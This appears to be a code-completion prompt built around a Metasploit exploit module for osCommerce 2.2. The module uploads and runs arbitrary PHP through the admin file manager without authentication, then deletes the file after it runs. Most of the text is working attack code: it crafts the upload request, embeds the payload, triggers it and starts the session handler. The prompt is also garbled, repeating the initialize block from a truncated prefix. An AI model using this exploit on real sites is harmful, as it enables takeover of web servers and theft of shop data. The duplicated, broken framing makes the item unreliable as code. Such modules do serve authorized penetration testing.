You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: oscommerce_filemanager.rb
    path of file: ./repos/metasploit-framework/modules/exploits/unix/webapp
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'osCommerce 2.2 Arbitrary PHP Code Execution',
      'Description'    => %q{
          osCommerce is a popular open source E-Commerce application.
        The admin console contains a file management utility that
        allows administrators to upload, download, and edit files.
        This could be abused to allow unauthenticated attackers to
        execute arbitrary code with the permissions of the
        webserver.
      },
      'Author'         => [ 'egypt' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'OSVDB', '60018' ],
          [ 'EDB', '9556' ]
        ],
      'Privileged'     => false,
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Payload'        =>
        {
          'Space'       => 4000,
          # max url length for some old versions of apache according to
          # http://www.boutell.com/newfaq/misc/urllength.html
          'DisableNops' => true,
          #'BadChars'    => %q|'"`|,  # quotes are escaped by PHP's magic_quotes_gpc in a default install
          'Compat'      =>
            {
              'ConnectionType' => 'find',
            
    
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'osCommerce 2.2 Arbitrary PHP Code Execution',
      'Description'    => %q{
          osCommerce is a popular open source E-Commerce application.
        The admin console contains a file management utility that
        allows administrators to upload, download, and edit files.
        This could be abused to allow unauthenticated attackers to
        execute arbitrary code with the permissions of the
        webserver.
      },
      'Author'         => [ 'egypt' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'OSVDB', '60018' ],
          [ 'EDB', '9556' ]
        ],
      'Privileged'     => false,
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Payload'        =>
        {
          'Space'       => 4000,
          # max url length for some old versions of apache according to
          # http://www.boutell.com/newfaq/misc/urllength.html
          'DisableNops' => true,
          #'BadChars'    => %q|'"`|,  # quotes are escaped by PHP's magic_quotes_gpc in a default install
          'Compat'      =>
            {
              'ConnectionType' => 'find',
            },
          # Since our payload is uploaded as a file, it is polite to
          # clean up after ourselves.
          'Prepend'     => "unlink(__FILE__);",
          'Keys'        => ['php'],
        },
      'Targets'        => [ ['Automatic', { }], ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2009-08-31'
      ))

    register_options(
      [
        OptString.new('URI',   [ true,  "Base osCommerce directory path", '/catalog/']),
      ])

  end

  def exploit
    # Our filename gets run through basename(), so we can have arbitrary
    # junk in front of slashes and it will get stripped out. The unlink in
    # Payload => Prepend above ensures that the file is deleted.
    filename  = rand_text_alphanumeric(rand(5)+5) + "/"
    (rand(5)+5).times do
      filename << rand_text_alphanumeric(rand(5)+5) + "/"
    end
    filename << rand_text_alphanumeric(rand(5)+5) + ".php"


    p = rand_text_english(rand(100)+100) + "<?php " + payload.encoded + " ?>" + rand_text_english(rand(100)+100)
    p = Rex::Text.uri_encode(p)
    data = "filename=#{filename}&file_contents=#{p}"

    print_status("Sending file save request")
    response = send_request_raw({
      'uri'	  => normalize_uri(datastore['URI'], "admin/file_manager.php/login.php") + "?action=save",
      'method'  => 'POST',
      'data'    => data,
      'ctype'   => 'application/x-www-form-urlencoded'
    }, 3)

    # If the upload worked, the server tries to redirect us to some info
    # about the file we just saved
    if response and response.code != 302
      print_error("Server returned non-302 status code (#{response.code})")
    end

    print_status("Requesting our payload")
    # very short timeout because the request may never return if we're
    # sending a socket payload
    timeout = 0.1
    response = send_request_raw({
      # Allow findsock payloads to work
      'global' => true,
      'uri' => normalize_uri(datastore['URI'], File.basename(filename))
    }, timeout)

    handler
  end